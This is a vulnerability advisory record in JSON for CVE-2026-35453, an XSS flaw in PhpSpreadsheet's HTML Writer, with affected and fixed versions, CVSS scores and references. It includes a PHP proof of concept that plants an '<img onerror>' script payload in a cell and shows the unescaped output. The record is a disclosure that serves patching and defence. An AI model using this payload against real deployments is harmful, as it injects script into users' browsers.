{"id":"CVE-2026-35453","aliases":["CVE-2026-35453","GHSA-6wpp-88cp-7q68"],"related":[],"kind":"vulnerability","state":"published","title":"PhpSpreadsheet XSS via number format text substitution in HTML Writer","summary":"PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ \"items\"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ \"items\"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ \"items\"` or `\"Total: \"@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.\n\n### Details\n\n\n#### 1. Conditional escaping in `Html.php:1586-1594`\n\n```php\n$cellData = NumberFormat::toFormattedString(\n    $origData2,\n    $formatCode ?? NumberFormat::FORMAT_GENERAL,\n    [$this, 'formatColor']\n);\n\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());\n}\n```\n\n`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.\n\n#### 2. Early return in `Formatter.php:136-152`\n\n```php\nif (preg_match(self::SECTION_SPLIT, $format) === 0\n    && preg_match(self::SYMBOL_AT, $formatx) === 1) {\n    if (!str_contains($format, '\"')) {\n        return str_replace('@', /* raw value */, $format);\n    }\n    return str_replace(/* ... preg_replace with raw value ... */);\n}\n```\n\nWhen the format code contains `@` with additional literal text (e.g., `@ \"items\"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.\n\n\n### PoC\n\n**test.php**\n``` php\n<?php\n\nrequire '/app/vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet->getActiveSheet();\n\n$payload    = '<img src=x onerror=alert(document.domain)>';\n$formatCode = '@ \"items\"';\n\n\n$sheet->setCellValue('A1', $payload);\n$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);\n\n$writer = new Html($spreadsheet);\n$html = $writer->generateHTMLAll();\n\nfile_put_contents('/app/output.html', $html);\n\necho \"HTML output saved to /app/output.html\\n\";\n```\n\nThe produced output contains unescaped data.\n``` html\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n  <head>\n      <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n      <meta name=\"generator\" content=\"PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet\" />\n      <title>Untitled Spreadsheet</title>\n      <meta name=\"author\" content=\"Unknown Creator\" />\n      <meta name=\"title\" content=\"Untitled Spreadsheet\" />\n      <meta name=\"lastModifiedBy\" content=\"Unknown Creator\" />\n      <meta name=\"created\" content=\"2026-04-02T16:34:44+00:00\" />\n      <meta name=\"modified\" content=\"2026-04-02T16:34:44+00:00\" />\n    <style type=\"text/css\">\n[..SNIP..]\n    </style>\n  </head>\n\n  <body>\n<div style='page: page0'>\n    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>\n        <col class=\"col0\" />\n        <tbody>\n          <tr class=\"row0\">\n            <td class=\"column0 style1 s\"><img src=x onerror=alert(document.domain)> items</td>\n          </tr>\n    </tbody></table>\n</div>\n  </body>\n</html>\n```\n\n<img width=\"719\" height=\"716\" alt=\"Screenshot 2026-04-02 at 18 45 53\" src=\"https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe\" />\n\n\n\n### Impact\n\nThe impact changes based on the way the HTML is served. \nIn case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.","format":"markdown","source":"ghsa"},{"lang":"es","text":"PhpSpreadsheet es una biblioteca para leer y escribir archivos de hoja de cálculo. En las versiones 1.30.3 y anteriores, 2.0.0 a 2.1.15, 2.2.0 a 2.4.4, 3.3.0 a 3.10.4, y 4.0.0 a 5.6.0, el Escritor HTML omite el escape de salida de htmlspecialchars() cuando una celda utiliza un formato de número personalizado que contiene el marcador de posición de texto @ con texto literal adicional (por ejemplo, @ 'items'). El escape solo se aplica cuando la salida formateada es estrictamente igual al valor original de la celda. Cuando el código de formato contiene @ con texto literal entre comillas, el formateador sustituye el valor de celda sin procesar en la cadena de formato y regresa temprano sin invocar la devolución de llamada de escape. Un atacante que puede controlar el contenido de una celda en una hoja de cálculo procesada por el Escritor HTML puede inyectar HTML y JavaScript arbitrarios en la salida generada. Este problema ha sido solucionado en las versiones 1.30.4, 2.1.16, 2.4.5, 3.10.5 y 5.7.0.","source":"nvd"}],"published":"2026-04-28T22:50:31.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-80"],"affected":[{"ranges":[{"version":">= 4.0.0, <= 5.6.0","status":"affected"},{"version":">= 3.3.0, <= 3.10.4","status":"affected"},{"version":">= 2.2.0, <= 2.4.4","status":"affected"},{"version":">= 2.0.0, <= 2.1.15","status":"affected"},{"version":"<= 1.30.3","status":"affected"}],"vendor":"PHPOffice","product":"PhpSpreadsheet","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0","status":"affected","fixed":"5.7.0"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.3.0","status":"affected","fixed":"3.10.5"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.4.5"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0","status":"affected","fixed":"2.1.16"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.30.4"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.30.4"},{"status":"affected","introduced":"2.0.0","fixed":"2.1.16"},{"status":"affected","introduced":"2.2.0","fixed":"2.4.5"},{"status":"affected","introduced":"3.3.0","fixed":"3.10.5"},{"status":"affected","introduced":"4.0.0","fixed":"5.7.0"}],"vendor":"phpoffice","product":"phpspreadsheet","cpe":"cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35453","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-06T14:27:23.407Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35453","url":"https://www.cve.org/CVERecord?id=CVE-2026-35453","licence":"CVE Terms of Use","modified":"2026-05-06T14:27:43.313Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6wpp-88cp-7q68","url":"https://github.com/advisories/GHSA-6wpp-88cp-7q68","licence":"CC-BY-4.0","modified":"2026-05-08T15:50:49.240Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35453","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:20.640Z","epss":{"score":0.00202,"percentile":0.10752,"date":"2026-12-01T12:00:22.000Z"}}